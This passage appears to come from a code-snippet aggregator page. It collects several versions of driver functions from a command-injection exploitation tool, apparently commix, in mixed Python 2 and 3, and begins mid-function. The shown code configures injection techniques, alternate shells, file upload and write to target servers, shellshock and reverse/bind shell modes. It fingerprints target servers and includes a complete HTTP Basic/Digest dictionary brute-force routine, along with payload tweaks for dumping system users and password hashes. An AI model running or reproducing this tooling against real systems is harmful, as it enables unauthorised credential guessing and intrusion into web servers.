            response = proxy.use_proxy(request)
          except urllib2.HTTPError, err:
            print "\n" + Back.RED + "(x) Error : " + str(err) + Style.RESET_ALL
            raise SystemExit() 

        # Check if defined Tor.
        elif menu.options.tor:
          try:
            response = tor.use_tor(request)
          except urllib2.HTTPError, err:
            print "\n" + Back.RED + "(x) Error : " + str(err) + Style.RESET_ALL
            raise SystemExit() 

        else:
          try:
            response = urllib2.urlopen(request)
          except urllib2.HTTPError, err:
            print "\n" + Back.RED + "(x) Error : " + str(err) + Style.RESET_ALL
            raise SystemExit() 
Exemplo n.º 17
0
def main():
  try:
    # Check if defined "--version" option.
    if menu.options.version:
      version.show_version()
      sys.exit(0)

    # Checkall the banner
    menu.banner()
        
    # Check python version number.
    version.python_version()

    # Check if defined "--dependencies" option. 
    # For checking (non-core) third party dependenices.
    if menu.options.noncore_dependencies:
      checks.third_party_dependencies()
      sys.exit(0)
      
    # Check if defined "--update" option.        
    if menu.options.update:
      update.updater()
      sys.exit(0)
        
    # Check if defined "--install" option.        
    if menu.options.install:
      install.installer()
      sys.exit(0)
    
    # Check arguments
    if len(sys.argv) == 1:
      menu.parser.print_help()
      print ""
      sys.exit(0)

    # Define the level of verbosity.
    if menu.options.verbose > 1:
      err_msg = "The value for option '-v' "
      err_msg += "must be an integer value from range [0, 1]."
      print settings.print_critical_msg(err_msg)
      sys.exit(0)
    else:  
      settings.VERBOSITY_LEVEL = menu.options.verbose

    # Check if defined "--delay" option.
    if menu.options.delay:
      if menu.options.delay > "0":
        settings.DELAY = menu.options.delay

    # Define the level of tests to perform.
    if menu.options.level > 3:
      err_msg = "The value for option '--level' "
      err_msg += "must be an integer value from range [1, 3]."
      print settings.print_critical_msg(err_msg)
      sys.exit(0)

    # Parse target / data from HTTP proxy logs (i.e Burp / WebScarab).
    if menu.options.logfile:
      parser.logfile_parser()
 
    # Modification on payload
    if not menu.options.shellshock:
      #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")"
      settings.SYS_USERS  = "echo $(" + settings.SYS_USERS + ")"
      settings.SYS_PASSES  = "echo $(" + settings.SYS_PASSES + ")"

    # Check provided parameters for tests
    if menu.options.test_parameter:
      if menu.options.test_parameter.startswith("="):
        menu.options.test_parameter = menu.options.test_parameter[1:]
      settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX)
      for i in range(0,len(settings.TEST_PARAMETER)):
        if "=" in settings.TEST_PARAMETER[i]:
          settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0]

    # Check if defined character used for splitting parameter values.
    if menu.options.pdel:
     settings.PARAMETER_DELIMITER = menu.options.pdel

    # Check if defined character used for splitting cookie values.
    if menu.options.cdel:
     settings.COOKIE_DELIMITER = menu.options.cdel

    # Check if specified wrong injection technique
    if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES:
      found_tech = False
      # Convert injection technique(s) to lowercase
      menu.options.tech = menu.options.tech.lower()
      # Check if used the ',' separator
      if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech:
        split_techniques_names = menu.options.tech.split(settings.PARAMETER_SPLITTING_REGEX)
      else:
        split_techniques_names = menu.options.tech.split()
      if split_techniques_names:
        for i in range(0,len(split_techniques_names)):
          if len(menu.options.tech) <= 4:
            split_first_letter = list(menu.options.tech)
            for j in range(0,len(split_first_letter)):
              if split_first_letter[j] in settings.AVAILABLE_TECHNIQUES:
                found_tech = True
              else:  
                found_tech = False  
                          
      if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \
         found_tech == False:
        err_msg = "You specified wrong value '" + split_techniques_names[i] 
        err_msg += "' as injection technique. "
        err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, "
        err_msg += "(T)ime-based, (F)ile-based (with or without commas)."
        print settings.print_critical_msg(err_msg)
        sys.exit(0)

    # Check if specified wrong alternative shell
    if menu.options.alter_shell:
      if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS:
        err_msg = "'" + menu.options.alter_shell + "' shell is not supported!"
        print settings.print_critical_msg(err_msg)
        sys.exit(0)

    # Check the file-destination
    if menu.options.file_write and not menu.options.file_dest or \
    menu.options.file_upload  and not menu.options.file_dest:
      err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)."
      print settings.print_critical_msg(err_msg)
      sys.exit(0)

    if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None :
      err_msg = "You must enter the '--file-write' or '--file-upload' parameter."
      print settings.print_critical_msg(err_msg)
      sys.exit(0)

    # Check if defined "--file-upload" option.
    if menu.options.file_upload:
      # Check if not defined URL for upload.
      if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload):
        err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. "
        print settings.print_critical_msg(err_msg)
        sys.exit(0)
        
    # Check if defined "--random-agent" option.
    if menu.options.random_agent:
      menu.options.agent = random.choice(settings.USER_AGENT_LIST)
  
    # Check if defined "--url" option.
    if menu.options.url:
      url = menu.options.url
      
      # Check if http / https
      url = checks.check_http_s(url)

      if menu.options.output_dir:
        output_dir = menu.options.output_dir
      else:
        output_dir = settings.OUTPUT_DIR
      
      # One directory up, if Windows or if the script is being run under "/src".
      if settings.IS_WINDOWS or "/src" in os.path.dirname(os.path.abspath(__file__)):
        os.chdir("..")
        
      output_dir = os.path.dirname(output_dir)
     
      try:
        os.stat(output_dir)
      except:
        os.mkdir(output_dir)   

      # The logs filename construction.
      filename = logs.create_log_file(url, output_dir)
      try:
        
        # Check if defined POST data
        if menu.options.data:
          request = urllib2.Request(url, menu.options.data)
        else:
          request = urllib2.Request(url)

        headers.do_check(request)  
        
        # Check if defined any HTTP Proxy (--proxy option).
        if menu.options.proxy:
          proxy.do_check(url)
        
        # Check if defined Tor (--tor option).
        elif menu.options.tor:
          tor.do_check()
        info_msg = "Checking connection to the target URL... "  
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()

        try:
          # Check if defined any HTTP Proxy (--proxy option).
          if menu.options.proxy:
            response = proxy.use_proxy(request)
          # Check if defined Tor (--tor option).  
          elif menu.options.tor:
            response = tor.use_tor(request)
          else:
            try:
              response = urllib2.urlopen(request)
            except ValueError:
              # Invalid format for the '--headers' option.
              print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
              err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' "
              err_msg += "to provide an HTTP header or"
              err_msg += " '--headers=\"HEADER_NAME:" + settings.WILDCARD_CHAR  + "\"' "
              err_msg += "if you want to try to exploit the provided HTTP header."
              print settings.print_critical_msg(err_msg)
              sys.exit(0)
        except:
          raise

        html_data = content = response.read()
        print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"

        # Check for CGI scripts on url
        checks.check_CGI_scripts(url)

        # Used a valid pair of valid credentials
        if menu.options.auth_cred:
          success_msg = Style.BRIGHT + "Identified a valid pair of credentials '" 
          success_msg += menu.options.auth_cred + Style.RESET_ALL 
          success_msg += Style.BRIGHT + "'." + Style.RESET_ALL
          print settings.print_success_msg(success_msg)

        try:
          if response.info()['server'] :
            server_banner = response.info()['server']
            found_os_server = False
            if menu.options.os and checks.user_defined_os():
              user_defined_os = settings.TARGET_OS

            for i in range(0,len(settings.SERVER_OS_BANNERS)):
              if settings.SERVER_OS_BANNERS[i].lower() in server_banner.lower():
                found_os_server = True
                settings.TARGET_OS = settings.SERVER_OS_BANNERS[i].lower()
                if settings.TARGET_OS == "win" or settings.TARGET_OS == "microsoft" :
                  identified_os = "Windows"
                  if menu.options.os and user_defined_os != "win":
                    if not checks.identified_os():
                      settings.TARGET_OS = user_defined_os

                  settings.TARGET_OS = identified_os[:3].lower()
                  if menu.options.shellshock:
                    err_msg = "The shellshock module is not available for " 
                    err_msg += identified_os + " targets."
                    print settings.print_critical_msg(err_msg)
                    raise SystemExit()
                else:
                  identified_os = "Unix-like (" + settings.TARGET_OS + ")"
                  if menu.options.os and user_defined_os == "win":
                    if not checks.identified_os():
                      settings.TARGET_OS = user_defined_os

            found_server_banner = False
            if settings.VERBOSITY_LEVEL >= 1:
              info_msg = "Identifying the target server... " 
              sys.stdout.write(settings.print_info_msg(info_msg))
              sys.stdout.flush()

            for i in range(0,len(settings.SERVER_BANNERS)):
              if settings.SERVER_BANNERS[i].lower() in server_banner.lower():
                if settings.VERBOSITY_LEVEL >= 1:
                  print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
                if settings.VERBOSITY_LEVEL >= 1:
                  success_msg = "The server was identified as " 
                  success_msg += server_banner + Style.RESET_ALL + "."
                  print settings.print_success_msg(success_msg)
                settings.SERVER_BANNER = server_banner
                found_server_banner = True
                # Set up default root paths
                if settings.SERVER_BANNERS[i].lower() == "apache":
                  if settings.TARGET_OS == "win":
                    settings.SRV_ROOT_DIR = "\\htdocs"
                  else:
                    settings.SRV_ROOT_DIR = "/var/www"
                if settings.SERVER_BANNERS[i].lower() == "nginx": 
                  settings.SRV_ROOT_DIR = "/usr/share/nginx"
                if settings.SERVER_BANNERS[i].lower() == "microsoft-iis":
                  settings.SRV_ROOT_DIR = "\\inetpub\\wwwroot"
                break

            if not found_server_banner:
              if settings.VERBOSITY_LEVEL >= 1:
                print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
              warn_msg = "Heuristics have failed to identify server."
              print settings.print_warning_msg(warn_msg)
            
            # Load tamper scripts
            if menu.options.tamper:
              checks.tamper_scripts()

            # Store the Server's root dir
            settings.DEFAULT_SRV_ROOT_DIR = settings.SRV_ROOT_DIR

            if menu.options.is_admin or menu.options.is_root and not menu.options.current_user:
              menu.options.current_user = True

            # Check for wrong flags.
            if settings.TARGET_OS == "win":
              if menu.options.is_root :
                warn_msg = "Swithing '--is-root' to '--is-admin' because the "
                warn_msg += "target has been identified as windows."
                print settings.print_warning_msg(warn_msg)
              if menu.options.passwords:
                warn_msg = "The '--passwords' option, is not yet available for Windows targets."
                print settings.print_warning_msg(warn_msg)  
              if menu.options.file_upload :
                warn_msg = "The '--file-upload' option, is not yet available for windows targets. "
                warn_msg += "Instead, use the '--file-write' option."
                print settings.print_warning_msg(warn_msg)  
                sys.exit(0)
            else: 
              if menu.options.is_admin : 
                warn_msg = "Swithing the '--is-admin' to '--is-root' because "
                warn_msg += "the target has been identified as unix-like. "
                print settings.print_warning_msg(warn_msg)  
            
            if found_os_server == False and \
               not menu.options.os:
              # If "--shellshock" option is provided then,
              # by default is a Linux/Unix operating system.
              if menu.options.shellshock:
                pass 
              else:
                warn_msg = "Heuristics have failed to identify server's operating system."
                print settings.print_warning_msg(warn_msg)
                while True:
                  question_msg = "Do you recognise the server's operating system? "
                  question_msg += "[(W)indows/(U)nix/(q)uit] > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  got_os = sys.stdin.readline().replace("\n","").lower()
                  if got_os.lower() in settings.CHOICE_OS :
                    if got_os.lower() == "w":
                      settings.TARGET_OS = "win"
                      break
                    elif got_os.lower() == "u":
                      break
                    elif got_os.lower() == "q":
                      raise SystemExit()
                  else:
                    if got_os == "":
                      got_os = "enter"
                    err_msg = "'" + got_os + "' is not a valid answer."  
                    print settings.print_error_msg(err_msg)
                    pass

            if not menu.options.os:
              if found_server_banner == False:
                warn_msg = "The server which was identified as " 
                warn_msg += server_banner + " seems unknown."
                print settings.print_warning_msg(warn_msg)
          else:
            found_os_server = checks.user_defined_os()
        except KeyError:
          pass

        # Charset detection.
        requests.charset_detection(response)

      except urllib2.HTTPError, e:
        # Check the codes of responses
        if e.getcode() == 500:
          print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
          content = e.read()
          sys.exit(0)

        # Check for HTTP Error 401 (Unauthorized).
        elif e.getcode() == 401:
          try:
            # Get the auth header value
            auth_line = e.headers.get('www-authenticate', '')
            # Checking for authentication type name.
            auth_type = auth_line.split()[0]
            settings.SUPPORTED_HTTP_AUTH_TYPES.index(auth_type.lower())
            # Checking for the realm attribute.
            try: 
              auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups()
              realm = auth_obj[1].split(',')[0].replace("\"", "")
            except:
              realm = False

          except ValueError:
            print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
            err_msg = "The identified HTTP authentication type (" + auth_type + ") "
            err_msg += "is not yet supported."
            print settings.print_critical_msg(err_msg) + "\n"
            sys.exit(0)

          except IndexError:
            print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
            err_msg = "The provided pair of " + menu.options.auth_type 
            err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'"
            err_msg += " seems to be invalid."
            print settings.print_critical_msg(err_msg)
            sys.exit(0) 

          print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
          if menu.options.auth_type and menu.options.auth_type != auth_type.lower():
            if checks.identified_http_auth_type(auth_type):
              menu.options.auth_type = auth_type.lower()
          else:
            menu.options.auth_type = auth_type.lower()

          # Check for stored auth credentials.
          if not menu.options.auth_cred:
            try:
              stored_auth_creds = session_handler.export_valid_credentials(url, auth_type.lower())
            except:
              stored_auth_creds = False
            if stored_auth_creds:
              menu.options.auth_cred = stored_auth_creds
              success_msg = "Identified a valid pair of credentials '"  
              success_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT  + "'."
              print settings.print_success_msg(success_msg)
            else:  
              # Basic authentication 
              if menu.options.auth_type == "basic":
                if not menu.options.ignore_401:
                  warn_msg = "(" + menu.options.auth_type.capitalize() + ") " 
                  warn_msg += "HTTP authentication credentials are required."
                  print settings.print_warning_msg(warn_msg)
                  while True:
                    question_msg = "Do you want to perform a dictionary-based attack? [Y/n/q] > "
                    sys.stdout.write(settings.print_question_msg(question_msg))
                    crack_creds = sys.stdin.readline().replace("\n","").lower()
                    if crack_creds in settings.CHOICE_YES:
                      auth_creds = authentication.http_auth_cracker(url, realm)
                      if auth_creds != False:
                        menu.options.auth_cred = auth_creds
                        settings.REQUIRED_AUTHENTICATION = True
                        break
                      else:
                        sys.exit(0)
                    elif crack_creds in settings.CHOICE_NO:
                      checks.http_auth_err_msg()
                    elif crack_creds in settings.CHOICE_QUIT:
                      sys.exit(0)
                    else:
                      if crack_creds == "":
                        crack_creds = "enter"
                      err_msg = "'" + crack_creds + "' is not a valid answer."  
                      print settings.print_error_msg(err_msg)
                      pass

              # Digest authentication         
              elif menu.options.auth_type == "digest":
                if not menu.options.ignore_401:
                  warn_msg = "(" + menu.options.auth_type.capitalize() + ") " 
                  warn_msg += "HTTP authentication credentials are required."
                  print settings.print_warning_msg(warn_msg)      
                  # Check if heuristics have failed to identify the realm attribute.
                  if not realm:
                    warn_msg = "Heuristics have failed to identify the realm attribute." 
                    print settings.print_warning_msg(warn_msg)
                  while True:
                    question_msg = "Do you want to perform a dictionary-based attack? [Y/n/q] > "
                    sys.stdout.write(settings.print_question_msg(question_msg))
                    crack_creds = sys.stdin.readline().replace("\n","").lower()
                    if crack_creds in settings.CHOICE_YES:
                      auth_creds = authentication.http_auth_cracker(url, realm)
                      if auth_creds != False:
                        menu.options.auth_cred = auth_creds
                        settings.REQUIRED_AUTHENTICATION = True
                        break
                      else:
                        sys.exit(0)
                    elif crack_creds in settings.CHOICE_NO:
                      checks.http_auth_err_msg()
                    elif crack_creds in settings.CHOICE_QUIT:
                      sys.exit(0)
                    else:
                      if crack_creds == "":
                        crack_creds = "enter"
                      err_msg = "'" + crack_creds + "' is not a valid answer."  
                      print settings.print_error_msg(err_msg)
                      pass
                  else:   
                    checks.http_auth_err_msg()      
          else:
            pass

        elif e.getcode() == 403:
          print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
          err_msg = "You don't have permission to access this page."
          print settings.print_critical_msg(err_msg)
          sys.exit(0)
          
        elif e.getcode() == 404:
          print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
          err_msg = "The host seems to be down!"
          print settings.print_critical_msg(err_msg)
          sys.exit(0)

        else:
          raise

      except urllib2.URLError, e:
        print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
        err_msg = "The host seems to be down!"
        print settings.print_critical_msg(err_msg)
        sys.exit(0)
Exemplo n.º 18
0
def http_auth_cracker(url, realm):
    # Define the HTTP authentication type.
    authentication_type = menu.options.auth_type
    # Define the authentication wordlists for usernames / passwords.
    usernames, passwords = define_wordlists()
    i = 1 
    found = False
    total = len(usernames) * len(passwords)   
    for username in usernames:
      for password in passwords:
        float_percent = "{0:.1f}%".format(round(((i*100)/(total*1.0)),2))
        # Check if verbose mode on
        if settings.VERBOSITY_LEVEL >= 1:
          payload = "" + username + ":" + password + ""
          if settings.VERBOSITY_LEVEL > 1:
            print(settings.print_checking_msg(payload))
          else:
            sys.stdout.write("\r" + settings.print_checking_msg(payload) + " " * 10)
            sys.stdout.flush()
        try:
          # Basic authentication 
          if authentication_type.lower() == "basic":
            request = _urllib.request.Request(url)
            base64string = base64.encodestring(username + ":" + password)[:-1]
            request.add_header("Authorization", "Basic " + base64string)
            headers.do_check(request)
            headers.check_http_traffic(request)
            # Check if defined any HTTP Proxy (--proxy option).
            if menu.options.proxy:
              proxy.use_proxy(request)
            # Check if defined Tor (--tor option).  
            elif menu.options.tor:
              tor.use_tor(request)
            result = _urllib.request.urlopen(request)
          # Digest authentication 
          elif authentication_type.lower() == "digest":
            authhandler = _urllib.request.HTTPDigestAuthHandler()
            authhandler.add_password(realm, url, username, password)
            opener = _urllib.request.build_opener(authhandler)
            _urllib.request.install_opener(opener)
            request = _urllib.request.Request(url)
            headers.check_http_traffic(request)
            # Check if defined any HTTP Proxy (--proxy option).
            if menu.options.proxy:
              proxy.use_proxy(request)
            # Check if defined Tor (--tor option).  
            elif menu.options.tor:
              tor.use_tor(request)
            result = _urllib.request.urlopen(request)

          # Store valid results to session 
          admin_panel = url 
          session_handler.import_valid_credentials(url, authentication_type, admin_panel, username, password)
          found = True
        except KeyboardInterrupt :
          raise 
        except:
          pass  
        if found:
          if not settings.VERBOSITY_LEVEL >= 1:
            float_percent = settings.SUCCESS_MSG
        else:
          if str(float_percent) == "100.0%":
            if not settings.VERBOSITY_LEVEL >= 1:
              float_percent = settings.FAIL_STATUS
          else:  
            i = i + 1
            float_percent = ".. (" + float_percent + ")"
        if not settings.VERBOSITY_LEVEL >= 1:
          info_msg = "Checking for a valid pair of credentials." 
          info_msg += float_percent
          sys.stdout.write("\r\r" + settings.print_info_msg(info_msg))
          sys.stdout.flush()
        if found:
          valid_pair =  "" + username + ":" + password + ""
          if not settings.VERBOSITY_LEVEL > 1:
            print("")
          success_msg = "Identified a valid pair of credentials '" 
          success_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT  + "'."  
          print(settings.print_success_msg(success_msg))
          return valid_pair

    err_msg = "Use the '--auth-cred' option to provide a valid pair of " 
    err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " 
    err_msg += "or place an other dictionary into '" 
    err_msg += os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/' directory."
    print("\n" + settings.print_critical_msg(err_msg))  
    return False  

# eof
Exemplo n.º 19
0
def get_request_response(request):

  if settings.REVERSE_TCP == False and settings.BIND_TCP == False:
    headers.check_http_traffic(request)
    # Check if defined any HTTP Proxy.
    if menu.options.proxy:
      try:
        response = proxy.use_proxy(request)
      except _urllib.error.HTTPError as err_msg:
        if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR:
          response = False  
        elif settings.IGNORE_ERR_MSG == False:
          err = str(err_msg) + "."
          if not settings.VERBOSITY_LEVEL >= 1 and settings.TIME_BASED_STATE == False or \
            settings.VERBOSITY_LEVEL >= 1 and settings.EVAL_BASED_STATE == None:
            print("")
          if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False:
            print("") 
          print(settings.print_critical_msg(err))
          continue_tests = checks.continue_tests(err_msg)
          if continue_tests == True:
            settings.IGNORE_ERR_MSG = True
          else:
            raise SystemExit()
        response = False 
      except _urllib.error.URLError as err_msg:
        if "Connection refused" in err_msg.reason:
          err_msg =  "The target host is not responding. "
          err_msg += "Please ensure that is up and try again."
          if not settings.VERBOSITY_LEVEL >= 1 and settings.TIME_BASED_STATE == False or \
             settings.VERBOSITY_LEVEL >= 1 and settings.EVAL_BASED_STATE == None:
            print("")
          if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False:
            print("")
          print(settings.print_critical_msg(err_msg))
        raise SystemExit()

    # Check if defined Tor.
    elif menu.options.tor:
      try:
        response = tor.use_tor(request)
      except _urllib.error.HTTPError as err_msg:
        if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR:
          response = False  
        elif settings.IGNORE_ERR_MSG == False:
          err = str(err_msg) + "."
          if not settings.VERBOSITY_LEVEL >= 1 and settings.TIME_BASED_STATE == False or \
            settings.VERBOSITY_LEVEL >= 1 and settings.EVAL_BASED_STATE == None:
            print("")
          if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False:
            print("") 
          print(settings.print_critical_msg(err))
          continue_tests = checks.continue_tests(err_msg)
          if continue_tests == True:
            settings.IGNORE_ERR_MSG = True
          else:
            raise SystemExit()
        response = False 
      except _urllib.error.URLError as err_msg:
        err_msg = str(err_msg.reason).split(" ")[2:]
        err_msg = ' '.join(err_msg)+ "."
        if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False:
          print("")
        print(settings.print_critical_msg(err_msg))
        raise SystemExit()

    else:
      try:
        response = _urllib.request.urlopen(request)
      except _urllib.error.HTTPError as err_msg:
        if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR:
          response = False  
        elif settings.IGNORE_ERR_MSG == False:
          if not str(err_msg.code) == str(menu.options.ignore_code):
            err = str(err_msg) + "."
            # if not settings.VERBOSITY_LEVEL >= 1 and settings.TIME_BASED_STATE == False or \
            #   settings.VERBOSITY_LEVEL >= 1 and settings.EVAL_BASED_STATE == None:
            #   print "f"
            # elif settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False:
            #   print "s"
            if settings.VERBOSITY_LEVEL < 2:
              print("\r" + settings.print_critical_msg(err) + 30 * " ")

          continue_tests = checks.continue_tests(err_msg)
          if continue_tests == True:
            settings.IGNORE_ERR_MSG = True
          else:
            raise SystemExit()
        response = False  
      except _urllib.error.URLError as err_msg:
        err_msg = str(err_msg.reason).split(" ")[2:]
        err_msg = ' '.join(err_msg)+ "."
        if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False:
          print("")
        print(settings.print_critical_msg(err_msg))
        raise SystemExit()
  else:
    response = headers.check_http_traffic(request)
  return response
Exemplo n.º 20
0
def main():
    try:
        # Check if defined "--version" option.
        if menu.options.version:
            version.show_version()
            sys.exit(0)

        # Checkall the banner
        menu.banner()

        # Check python version number.
        version.python_version()

        # Check if defined "--update" option.
        if menu.options.update:
            update.updater()
            sys.exit(0)

        # Check if defined "--install" option.
        if menu.options.install:
            install.installer()
            sys.exit(0)

        # Check arguments
        if len(sys.argv) == 1:
            menu.parser.print_help()
            print ""
            sys.exit(0)

        # Modification on payload
        if not menu.options.shellshock:
            #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")"
            settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")"
            settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")"

        # Check if defined character used for splitting parameter values.
        if menu.options.pdel:
            settings.PARAMETER_DELIMITER = menu.options.pdel

        # Check if defined character used for splitting cookie values.
        if menu.options.cdel:
            settings.COOKIE_DELIMITER = menu.options.cdel

        # Check if specified wrong injection technique
        if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES:
            found_tech = False
            # Convert injection technique(s) to lowercase
            menu.options.tech = menu.options.tech.lower()
            # Check if used the ',' separator
            if "," in menu.options.tech:
                split_techniques_names = menu.options.tech.split(",")
            else:
                split_techniques_names = menu.options.tech.split()
            if split_techniques_names:
                for i in range(0, len(split_techniques_names)):
                    if len(menu.options.tech) <= 4:
                        split_first_letter = list(menu.options.tech)
                        for j in range(0, len(split_first_letter)):
                            if split_first_letter[
                                    j] in settings.AVAILABLE_TECHNIQUES:
                                found_tech = True
                    if split_techniques_names[i].replace(
                            ' ', ''
                    ) not in settings.AVAILABLE_TECHNIQUES and found_tech == False:
                        print Back.RED + "(x) Error: You specified wrong '" + split_techniques_names[
                            i] + "' injection technique." + Style.RESET_ALL
                        print Back.RED + "(x) The available techniques are: classic,eval-based,time-based,file-based or c,e,t,f (with or without commas)." + Style.RESET_ALL
                        sys.exit(0)

        # Cookie Injection
        if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
            settings.COOKIE_INJECTION = True

        # User-Agent Injection
        if menu.options.agent and settings.INJECT_TAG in menu.options.agent:
            settings.USER_AGENT_INJECTION = True

        # Referer Injection
        if menu.options.referer and settings.INJECT_TAG in menu.options.referer:
            settings.REFERER_INJECTION = True

        # Check if specified wrong alternative shell
        if menu.options.alter_shell:
            if menu.options.alter_shell.lower(
            ) not in settings.AVAILABLE_SHELLS:
                print Back.RED + "(x) Error: '" + menu.options.alter_shell + "' shell is not supported!" + Style.RESET_ALL
                sys.exit(0)

        # Check the file-destination
        if menu.options.file_write and not menu.options.file_dest or \
        menu.options.file_upload  and not menu.options.file_dest:
            print Back.RED + "(x) Error: Host's absolute filepath to write and/or upload, must be specified (--file-dest)." + Style.RESET_ALL
            sys.exit(0)

        if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None:
            print Back.RED + "(x) Error: You must enter the '--file-write' or '--file-upload' parameter." + Style.RESET_ALL
            sys.exit(0)

        # Check if defined "--file-upload" option.
        if menu.options.file_upload:
            # Check if not defined URL for upload.
            if not re.match(settings.VALID_URL_FORMAT,
                            menu.options.file_upload):
                print Back.RED + "(x) Error: The '" + menu.options.file_upload + "' is not a valid URL. " + Style.RESET_ALL
                sys.exit(0)

        # # Check if specified file-access options
        # # Check if not defined "--file-dest" option.
        # if menu.options.file_dest == None:
        #   # Check if defined "--file-write" option.
        #   if menu.options.file_write:
        #     file_name = os.path.split(menu.options.file_write)[1]
        #     menu.options.file_dest = settings.SRV_ROOT_DIR + file_name

        #   # Check if defined "--file-upload" option.
        #   if menu.options.file_upload:
        #     file_name = os.path.split(menu.options.file_upload)[1]
        #     menu.options.file_dest = settings.SRV_ROOT_DIR + file_name

        # elif menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None :
        #   print Back.RED + "(x) Error: You must enter the '--file-write' or '--file-upload' parameter." + Style.RESET_ALL
        #   sys.exit(0)

        # Check if defined "--random-agent" option.
        if menu.options.random_agent:
            menu.options.agent = random.choice(settings.USER_AGENT_LIST)

        # Check if defined "--url" option.
        if menu.options.url:
            url = menu.options.url

            # If URL not starts with any URI scheme, add "http://"
            if not urlparse.urlparse(url).scheme:
                url = "http://" + url

            if menu.options.output_dir:
                output_dir = menu.options.output_dir
            else:
                output_dir = settings.OUTPUT_DIR
            dir = os.path.dirname(output_dir)
            try:
                os.stat(output_dir)
            except:
                os.mkdir(output_dir)

            # The logs filename construction.
            filename = logs.create_log_file(url, output_dir)
            try:
                # Check if defined POST data
                if menu.options.data:
                    request = urllib2.Request(url, menu.options.data)
                else:
                    request = urllib2.Request(url)
                # Check if defined any HTTP Proxy (--proxy option).
                if menu.options.proxy:
                    proxy.do_check(url)
                # Check if defined Tor (--tor option).
                elif menu.options.tor:
                    tor.do_check()
                sys.stdout.write(
                    "(*) Checking connection to the target URL... ")
                sys.stdout.flush()
                try:
                    # Check if defined any HTTP Proxy (--proxy option).
                    if menu.options.proxy:
                        response = proxy.use_proxy(request)
                    # Check if defined Tor (--tor option).
                    elif menu.options.tor:
                        response = tor.use_tor(request)
                    else:
                        response = urllib2.urlopen(request)
                except:
                    raise
                html_data = response.read()
                content = response.read()
                print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
                try:
                    if response.info()['server']:
                        server_banner = response.info()['server']
                        found_os_server = False
                        for i in range(0, len(settings.SERVER_OS_BANNERS)):
                            if settings.SERVER_OS_BANNERS[i].lower(
                            ) in server_banner.lower():
                                found_os_server = True
                                settings.TARGET_OS = settings.SERVER_OS_BANNERS[
                                    i].lower()
                                if settings.TARGET_OS == "win":
                                    identified_os = "Windows"
                                    if menu.options.shellshock:
                                        print Back.RED + "(x) Critical: The shellshock module is not available for " + identified_os + " tagets." + Style.RESET_ALL
                                        raise SystemExit()
                                else:
                                    identified_os = "Unix-like (" + settings.TARGET_OS + ")"
                        found_server_banner = False
                        for i in range(0, len(settings.SERVER_BANNERS)):
                            if settings.SERVER_BANNERS[i].lower(
                            ) in server_banner.lower():
                                if menu.options.verbose:
                                    print Style.BRIGHT + "(!) The server was identified as " + Style.UNDERLINE + server_banner + Style.RESET_ALL + "." + Style.RESET_ALL
                                settings.SERVER_BANNER = server_banner
                                found_server_banner = True
                                # Set up default root paths
                                if settings.SERVER_BANNERS[i].lower(
                                ) == "apache":
                                    if settings.TARGET_OS == "win":
                                        settings.SRV_ROOT_DIR = "/htdocs"
                                    else:
                                        settings.SRV_ROOT_DIR = "/var/www"
                                if settings.SERVER_BANNERS[i].lower(
                                ) == "nginx":
                                    settings.SRV_ROOT_DIR = "/usr/share/nginx"
                                if settings.SERVER_BANNERS[i].lower(
                                ) == "microsoft-iis":
                                    settings.SRV_ROOT_DIR = "/wwwroot"
                                    settings.TARGET_OS = "win"
                                break
                        # Check for wrong flags.
                        if settings.TARGET_OS == "win":
                            if menu.options.is_root:
                                print Fore.YELLOW + "(^) Warning: Swithing '--is-root' to '--is-admin' because the taget has been identified as windows." + Style.RESET_ALL
